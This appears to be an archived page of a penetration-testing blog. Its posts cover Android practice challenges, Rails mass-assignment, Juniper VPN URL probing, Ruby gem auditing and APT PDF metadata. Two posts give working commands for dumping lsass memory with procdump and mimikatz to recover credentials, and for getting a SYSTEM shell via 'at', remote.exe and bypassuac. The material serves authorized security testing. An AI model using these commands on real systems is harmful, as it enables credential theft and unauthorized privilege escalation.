Wednesday, August 28, 2013

Want to break some Android apps?

1st off, Hi. I'm @jhaddix the newest guy on this blog...

Android App testing requires some diverse skills depending on what you're trying to accomplish. Some app testing is like forensics, there's a ton of server side stuff with web services, and there's also times when you need to show failings in programmatic protections or features which requires reversing, debugging, or patching skills.

To develop these skills you need some practice targets. Here's a list of all known Android security challenges, both app level vulns and crackme-type (RE/patching):

In some cases the write-up and challenge starter info is included, in other cases you might have to Google around as some of these CTF's are old.

** Should you need some help with configuring an Android pentest / Crackme environment, cktricky  and CG have already written some pieces on that: http://carnal0wnage.attackresearch.com/search?q=android **

Hacme Bank Android - Foundstone 
http://www.mcafee.com/us/downloads/free-tools/hacme-bank-android.aspx 

ExploitMe Android - Security Compass 
http://securitycompass.github.io/AndroidLabs/ 

InSecure Bank - Paladion 
http://www.paladion.net/downloadapp.html 

GoatDroid - OWASP and Nvisium Security
https://github.com/jackMannino/OWASP-GoatDroid-Project

IG Learner - Intrepidus Group 
https://play.google.com/store/apps/details?id=com.intrepidusgroup.learner 

Evil Planner Bsides Challenge and Mercury vulnerable test app - MWR Labs
https://labs.mwrinfosecurity.com/blog/2013/03/11/bsides-challenge/
https://labs.mwrinfosecurity.com/blog/2013/03/28/announcing-mercury-v2-2/

MoshZuk.apk 
Description - http://imthezuk.blogspot.com/2011/07/creating-vulnerable-android-application.html 
File - https://dl.dropboxusercontent.com/u/37776965/Work/MoshZuk.apk

Crackme.de’s and deurus's Android Crackmes 1-4 ++
http://crackmes.de/users/deurus/android_crackme01/ 
http://crackmes.de/users/deurus/android_crackme02/ 
http://crackmes.de/users/deurus/android_crackme03/ 
http://crackmes.de/users/deurus/android_crackme04/ 
http://crackmes.de/users/pnluck/android_signme/ 

Hackplayers.com Crackmes (in Spanish so an extra challenge) 
http://www.hackplayers.com/2010/12/reto-android-crackme1.html 
http://www.hackplayers.com/2011/12/reto-14-android-crackme2.html 

Nuit du Hack's 2k12 & 2k11 (pre-quals and finals) Android Crackme’s 
http://blog.w3challs.com/index.php?post/2012/07/02/NDH2k12-wargame-CrackMe-Android
http://blog.spiderboy.fr/tag/crackme/ 

Hack.Lu's CTF 2011 Reverse Engineering 300
http://shell-storm.org/repo/CTF/Hacklu-2011/Reversing/Space%20Station%200xB321054A%20(300)/

Androidcracking.blogspot.com's Crackme’s 
http://androidcracking.blogspot.com/2012/01/way-of-android-cracker-0-rewrite.html
http://androidcracking.blogspot.com/2010/10/way-of-android-cracker-1.html 

BlueBox Android Challenge 
http://bluebox.com/labs/android-security-challenge/

InsomniDroid 
Description - http://www.strazzere.com/blog/2012/03/488/ 
Partial Walkthrough - http://www.fortiguard.com/files/insomnichallenge.pdf 
(File) http://www.strazzere.com/crackmes/insomnidroid.apk

CSAW2011 CTF Android Challenges
Android 1 file - http://shell-storm.org/repo/CTF/CSAW-2011/Forensics/Android1%20-%20200%20Points/CSAW2011CTF.apk
Android 2 file - http://shell-storm.org/repo/CTF/CSAW-2011/Forensics/Android2%20-%20400%20Points/CSAW2011CTF.apk

Defcon 19 Quals b300 dex challenge
http://shell-storm.org/repo/CTF/Defcon-19-quals/Binary_L33tness/b300/b300_b258110ad2d6100c4b8

GreHack 2012 CTF Reverse Engineering 100
http://repo.shell-storm.org/CTF/GreHack-2012/reverse_engineering/100-GrehAndroidMe.apk/

Nullcon HackIM CTF 2012 RE 300
http://www.nullcon.net/challenge/data/Null%20Mobile.apk

C0C0N CTF 2011 RE level 100
http://www.nullcon.net/challenge/c0c0n/data/cocon_apk.zip

Atast CTF 2012 Bin 300
http://andromedactf.wordpress.com/2013/01/02/atast-ctf-2012-bin300chall5/

SecuInside 2011 CTF Level 7 (level 3 is also android but i am unable to find the bin)
Witeup - http://codeengn.com/archive/Reverse%20Engineering/Solution%20-%20CTF/2011%20SECUINSIDE%20CTF%20Write-up%20%5BCMU%5D.pdf
File - http://big-daddy.fr/repository/CTF2011/SecuInside-CTF/Q7/WonderfulWidget.apk

Happy hacking! Don't hesitate to leave a comment on any other Android challenges you find =)

Wednesday, July 31, 2013

Mimikatz Minidump and mimikatz via bat file

I tweeted about this blog post a few weeks ago and got to use it on a PT, so its no secret...

also mubix beat me to this post, but i'm posting it here for my notes keeping purposes

First, check out this post by the mimikatz author.  Now, one of the twitter comments I received was: "duh anyone can right click and dump process memory to a file". Unfortunately i'm rarely sitting with a GUI and can just "right click" but i do usually have the ability to "net use" and create scheduled tasks.  The cool thing about AT jobs and scheduled tasks is that if you run them as "admin" they really get run as SYSTEM, so you can do neat stuff like dump lsass memory or get SYSTEM shells when the job executes your binary.

So quickly how I've been doing it.

Once you have creds, you net use the remote box and copy over procdump.exe and procdump.bat

contents of procdump.bat


@echo off
C:\windows\temp\procdump.exe -accepteula -ma lsass.exe C:\windows\temp\somethingwindows.dmp 2>&1

then just create an "at" job to run it for you

at \\192.168.1.3 20:55 C:\windows\temp\procdump.bat


From there you'll have a dump file, copy it back from the remote host and use mimikatz alpha to retrieve the creds from the dump file:  from the mimikatz blog post:


mimikatz # sekurlsa::minidump lsass.dmp
Switch to minidump

mimikatz # sekurlsa::logonPasswords

Authentication Id: 0; 141237
User Name: sekur_000
Domain: WINDOWS-8
        msv:
         * Username: sekurlsa@live.fr
         * Domain: MicrosoftAccount
         * LM: d0e9aee149655a6075e4540af1f22d3b
         * NTLM: cc36cf7a8514893efccd332446158b1a
        tspkg:
         * Username: sekurlsa@live.fr
         * Domain: MicrosoftAccount
         * Password: waza1234 /
        WDigest:
         * Username: sekurlsa@live.fr
         * Domain: MicrosoftAccount
         * Password: waza1234 /
        livessp:
         * Username: sekurlsa@live.fr
         * Domain: ps: password
         * Password: waza1234 /
        kerberos:
        ssp:

Why not just push up mimikatz?  Well, mimikatz you download is now tagged by AV, so you can compile you own and get around that, white listing tools should prevent mimikatz from running but will probably allow sysinternals tools or powershell,  but mostly this method make it so you don't need a meterpreter sessions or other type of interactive shell on the remote host. run bat file, get your dump file, and get creds offline.

------

if for some reason you want to run mimikatz via a bat file you can use the following commands

type schtask.bat

C:\temp\mimikatz64.exe "sekurlsa::logonPasswords full" exit >> C:\temp\mimi.txt

then you can run it with an at job.

-CG

Monday, July 29, 2013

admin to SYSTEM win7 with remote.exe

So i ran across this little gem from 2008!

http://blogs.technet.com/b/askds/archive/2008/10/22/getting-a-cmd-prompt-as-system-in-windows-vista-and-windows-server-2008.aspx

I ended up using Method 2 on a recent test. The post above calls for needing an elevated command shell so you can call "at".  This is easy if you are legitimately sitting in front of the box but if you pentesting, potentially harder.

Three scenarios:

  • user is regular user and cant UAC to let you run admin commands
  • user is local admin and UAC disabled.
  • user is local admin buy you have to bypass UAC


easiest way sitting on a command shell is probably just to type "at"\

ohh man, denied :-(








yay!








Scenario 1, your screwed, gonna have to solve the not admin problem first.


anger!













Scenario 2, no UAC...just follow the linked blog post. Get a copy of remote.exe either x86 or x64 whatever architecture the system you want to run it on is and do the following command:

AT #TIME_TO_RUN c:\pathto\remote.exe /s cmd SYSCMD

once it runs, connect to the debugger you started (with SYSTEM privs)

C:\path\REMOTE.EXE /c SYSTEM_NAME SYSCMD

you should see something like this:

C:\pathto\>remotex64.exe /c WPAD SYSCMD
**************************************
***********     REMOTE    ************
***********     CLIENT    ************
**************************************
Connected...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
**Remote: Connected to WPAD CG [Fri 4:23 PM]


C:\Windows\system32>whoami
whoami
nt authority\system

weeeeeeeeeeeeeeeeeeee!





















Scenario 3, you can use bypassuac to get around our UAC issues.

get bypassuac on your system, then run it like so

C:\pathto\>at
Access is denied.

C:\pathto\>bypassuac.exe
Too few arguments
Incorrect input. Please find samples below.
Note, 'elevate stuff' will be executed in the elevated shell as 'cmd.exe stuff'

        elevate /c
        elevate /c [arg1] [arg2] .. [argn]
        elevate --pid 1234 /c [arg1] [arg2] .. [argn]
        elevate /c c:\path\foo.exe [arg1] [arg2] .. [argn]
        elevate --pid 1234 /c c:\path\foo.exe [arg1] [arg2] .. [argn]

C:\pathto\>bypassuac.exe /c at 16:32 C:\pathtop\remotex64.exe /s cmd SYSCMD
Added a new job with job ID = 31

C:\pathto\>at
Access is denied.

dont worry,  it worked :-)

C:\pathto\>remotex64.exe /c WPAD SYSCMD
**************************************
***********     REMOTE    ************
***********     CLIENT    ************
**************************************
Connected...

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>
**Remote: Connected to WPAD CG [Fri 4:32 PM]


C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>



Friday, May 31, 2013

Rails Strong Parameters


     It is well known in the Rails world, how big of an issue mass-assignment is. It is the vulnerability that led to the hack of Github last year. Normal interactions with an ActiveRecord model can lead to mass-assignment. A hacker can abuse an Model.new or Model.update_attributes, etc to change more attributes than expected by the developer. The most obvious example is a column that defines a user's role. If an attacker is able to mass-assign this value they could make themselves an admin. More information about mass-assignment is in a RailsCast linked below.

Creating a user without using mass-assignment.


An example of a mass-assignable create action.





















In Rails 2 and 3 to protect against mass-assignment you would set attr_accessible on your model. This would allow you to specify which attributes of a model could be mass-assigned.


Example model with attr_accessible set.








The example above will prevent mass-assignment of all attributes except for the name attribute. Hackers can no longer mass-assign themselves as admins! When used correctly, this solution has done a good job of protecting Rails applications from mass-assignment. While attr_accessible has proved to be a good solution to the issue but it's not as flexible as developers would like it to be. There are times when you want to update all attributes of a model, like when an admin is updating a user's record. In those cases, developers would have to do funky things with :as admin and pass additional parameters to ActiveRecord calls.

Complex models with varying authorizations would become hard to maintain. To address this and other issues David Heinemeier Hansson (@dhh) created strong_parameters. Strong_parameters tries to address the issue of mass-assignment in the controller instead of the model. Strong_parameters is available as a gem for Rails 2 & 3 but will be the default protection in Rails 4.


Creating user with strong_parameters enabled.










Now with strong_parameters instead of defining attr_accessible on the model you use the .permit during a call to an ActiveRecord call. As shown in the example above, we're permitting the assignment of name and admin (a boolean column). This protection is enabled on ActionController::Params. Many developers prefer this type of control to be in the controller and it reduces the complexity of the model. RailsCasts has a great pro episode that covers how to use strong_parameters.

The issue with strong_parameters is where this protection is enforced. Only ActionController::Params are protected with strong_parameters. Any user parameters that come through a controller will have this protection enforce. The security concern is when data comes from users and does not go through a controller and enters a model mass-assignment is possible. Any user parameters outside of a controller that are introduced to the model can be used to mass-assign.










In the example above a controller action is accepting user params in JSON format, parsing them and then using them in a call to User.new. The example above could be in a controller action used as an API endpoint that accepts parameters in JSON format. The issue is that when we parse the parameters we lose the protection of strong_parameters. We no longer need to call .permit on them to use them in a model and are now vulnerable to mass-assignment. Another example that could lead to mass-assignment is a file upload feature. A user provided CSV file could mass-assign attributes if the values aren't dealt with carefully.

Possible Protections

The most obvious choice to protect your application from mass-assignment when using strong_parameters is to wrap all user data in ActionController::Parameters before use in any models. While this is very easy to do, it makes the developer responsible for remembering to do this on every use of parameters. This could be easily forgotten in the heat of a quick patch. Other options for protecting against mass-assignment outside of controllers is strict parsing of incoming data. For instance calling .slice on a hash and selecting only the data you need. This again puts the onus on the developer to handle user data carefully.

Rails 4 and strong_parameters help developers create more tightly defined authorization rules for interacting with models but at the cost of some security. We can no longer rely on ActiveRecord to defend us against mass-assignment and must be very aware of what data is passed to models. While this is a step forward for usability, it seems like a step backwards for security.


Thanks to Brendon Murphy for bringing this issue to light.





Thursday, May 23, 2013

Funky Juniper URLs

If you've ever tested any clients that have Juniper VPNs you've probable seen the ol: 

http://[target]/dana-na/auth/url_default/welcome.cgi URL.

@infosecmafia and I mentioned in our DerbyCon talk on how you can sometimes find extra or test URLs that are also valid URLs for the Juniper VPN. The example we used was where the url_default required secret questions but url_8 or whatever did not because it was a test URL the admins had set up.

Soooooooo, its worth running a quick check if you come across one. I wrote a  Metasploit auxiliary module to do this. Pretty simple, it just runs thru url_0 through url_100 and prints out the 200 replies. looks like so:

–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_0/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_1/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_2/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_3/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_4/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_5/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_6/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_8/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_9/welcome.cgi
–[+] 192.168.1.1:443 Received a HTTP 200 with  bytes for /dana-na/auth/url_12/welcome.cgi

Seeing these doesn't ALWAYS mean you have a multi-factor bypass but its worth checking out if the main site is multi-factor.

Random example:
url_default

url_3

url_8

url_10


Available on my github repo until I get around to doing a pull request.

-CG

Friday, April 12, 2013

Rails - Guard, Brakeman, and Bundler-Audit

Thanks to the efforts of Justin Collins (@presidentbeef - Brakeman)  and Hal Brodigan (@postmodern_mod3 - Bundler-Audit), Rails developers (and Sinatra) can use these two tools in tandem with Guard to protect their applications while under development. For those who aren't familiar, Guard was designed to run while you are developing, when you save a file it triggers Guard to run whatever tests you've specified in your Guardfile.

The following video depicts this.

Wednesday, April 10, 2013

Bundler-Audit -> Auditing your RubyGems

Ruby applications that utilize a Gemfile/Gemfile.lock, file(s) that contain the list of ruby gems an application should use along with their respective version number, can now be audited to determine if those libraries are vulnerable.

Credit to postmodern for developing the auditing gem and also to RubySec for creating the ruby-advisory-db, a community maintained database of Ruby gem vulnerabilities for which bundler-audit is built on top of. 

So to install this - 

gem install bundler-audit

to run it, navigate to the directory where the Gemfile.lock is stored:

bundle-audit check

If the application is using a vulnerable version of a gem, the output will look like...
















Thanks,

Ken (@cktricky)











Tuesday, April 9, 2013

Quick way to view ruby gems


This post is a very short and very simple tip for easily opening a ruby gem up for closer inspection.

When reviewing a Rails or Sinatra application (code review), it sometimes becomes necessary to view the libraries (ruby gems) that an application is including and using. Instead of navigating to the ~/.rvm/gems/<version>@<gemset name>  directory (or wherever else the gems are stored) and opening them with your text editor of choice, you can instead leverage the power of bundler.

For your *nix based systems that leverage a bashrc, bash_profile, etc.

open your ~/.bash_profile file (or whatever the appropriate bash file is)

add this line export BUNDLER_EDITOR=mate

I chose "mate" because I use TextMate. Otherwise, just link to the appropriate editor executable.

(exit and save bash_profile)

type: source ~/.bash_profile

Then, navigate to an app that contains the Gemfile, and switch to the gemset or ruby version where these gems are contained, and choose a gem that you want to open...

bundle open <gem name>

That's all there is to it.

Ken (@cktricky)

Monday, March 25, 2013

Next Level Testing

We've been having a good time doing intensive, month long or longer APT simulation tests for people, acting like malicious insiders, using hardware implants, 0days, human enabled malware, etc. Lately, however, we've been playing around with a new type of testing to take things to the next level. This testing has two basic components:

  • Reverse Engineer Testing
  • Network Forensics Testing

The basic idea is to exercise your RE and packet ninjas even harder to make them strong.

On the RE side we create progressively more difficult malware for them to analyze. Here is an example of a ramp up path for this kind of test:

  1. Basic packed binary
  2. Challenging packed binary
  3. Staged unpacker with memory checksums
  4. Binary with analysis detection
    1. Virtualization detection & retaliation
    2. Dynamic analysis tools detection & retaliation
    3. Debugger detection & behavioral changes
      1. Multiple and increasingly difficult debugger detection from IsDebuggerPresent() to execution timers
  5. Strong crypto, slack space and other binary tricks
  6. Phantom routines & dead ends in the code
  7. Exploits against analysis tools
Essentially we infect your systems with progressively more difficult to analyze malware (that we develop ourselves and ensure is safe), causing your in-house analysts to stretch, learn new skills, and practice so that when real world malware hits, you are ready to deal with it.

We pen test your reverse engineer.

(Or your sandbox appliance if you have decided to go that route instead).

On the Network Forensic side we ramp up the difficulty of our command and control and data ex-filtration techniques in order to exercise and improve your network security staff's capabilities in the following ways:

  • Randomized timing & changing beacons
  • Out of band network communications
  • Protocol misuse & covert channels
  • False flag / false signature packets
  • Complex sequencing & esoteric packet based OP codes
  • Port knocking type attacks
  • Encoding & encryption
  • Exploits against network analysis tools

This allows your network forensic analysts to hone their skills looking for anomalous traffic and finding the tricky ways real bad guys hide from detection. It also shows you how effective (or ineffective) your network security appliances such as IDS/IPS are.

All of the tricks and techniques we use for these tests are taken from real world experience in analyzing some of the trickiest malware and the most complex network evasion schemes during incident response events. In addition we throw in some of our own developed methods to keep the analysts on their toes.

This type of testing is most effective as a component to a larger APT simulation but can be done stand alone as well.

At this point in 2013 you probably know what machines on your network need to be patched. You have automated vulnerability scans in place and you have verified and validated scan reports using an exploitation framework. Maybe you've taken that additional step of doing APT simulations to understand your exposure to malicious insiders and sophisticated targeted threats like nation states. However, unless you are testing that final line of defense, the analysts, forensic specialists and anomaly tools, you are still falling behind.

V.


Wednesday, March 20, 2013

APT PDFs and metadata extraction

One of the modules in our new Rapid Reverse Engineering class is artifact extraction.  For this section of the class the students use a python module we create for doing some artifact/metadata extraction from samples.  One of the more interesting pieces of metadata that attackers leave behind is the software that the malicious file was created with. In this case I was looking at some PDFs.  I then realized that I extract this information for individual samples, but I have never run a test on a large set of known APT malware to see what comes out. So a quick adventure I set out on and wow was I surprised by the information.

I ended up with the following pie graph


The sample size was roughly 300+ known APT samples that we have.  It wasn't our whole sample set of PDF's but for starters was a decent size.  List (top 10) looked like this

Acrobat Web Capture 8.0 (15%)
Adobe LiveCycle Designer ES 8.2 (15%)
Acrobat Web Capture 9.0 (8%)
Python PDF Library - http://pybrary.net/pyPdf/ (7%)
Acrobat Distiller 9.0.0 (Windows) (7%)
Acrobat Distiller 6.0.1 (Windows) (7%)
pdfeTeX-1.21a (7%)
Adobe Acrobat 9.2.0 (4%)
Adobe PDF Library 9.0 (4%)

A number of things amazed me about this data. One of them was the lack of opsec on the attackers perspective, and the old versions of software that they are using. From the offensive perspective if you are dealing with targets that have resources to do deep level forensics and operations then every little bit of opsec is needed. It only takes a small amount of data to put together a large piece of the puzzle.

From the defensive position it points out the ability for defense organizations to do some early detection.  I doubt that most organizations are actually keeping track or analyzing what types of clean, business case pdfs come through the front doors.  What do the normal clean pdf's coming through your front doors actually look like?  Are the clean business case PDFs being created by the
"Python PDF Library - http://pybrary.net/pyPdf/" software? This is a piece of software that is no longer maintained. If you have a standard set of pdf's that come through your front doors and they aren't using strange libraries such as pyPDF then it might be time to create a nice little snort signature and alert on it.  I wouldn't recommend blocking at that level (unless you are up for it), but alerting on something simple like that can create extremely large dividends for response/defense teams. Imagine telling your CIO/CISO that you detected and re-mediated APT* attack coming through the front door by a simple snort sig.  

Some of the honorable mentions for that didn't make it into the top 10 are:

Advanced PDF Repair at http://www.pdf-repair.com
Acrobat Web Capture 6.0 (wow that is old)
¦  d o P D F       V e r   6 . 2   B u i l d   2 8 8   ( W i n d o w s   X P     x 3 2 )  *Ya that is the way it show's up
alientools PDF Generator 1.52
PDFlib 7.0.3 (C++/Win32)

I am getting to the point that you must look at data sets and see what type of information you can gleam from them. This idea might be feasible in your organization and it might not, but you as the defender have the ability to determine that for yourself.  

At the end of April (25-26th) we are debuting Rapid Reverse Engineering in New York City with Trail Of Bits http://www.trailofbits.com/training/#rapidre.  Rapid Reverse Engineering is a class designed for helping students learn how to rapidly assess files for incident response scenarios.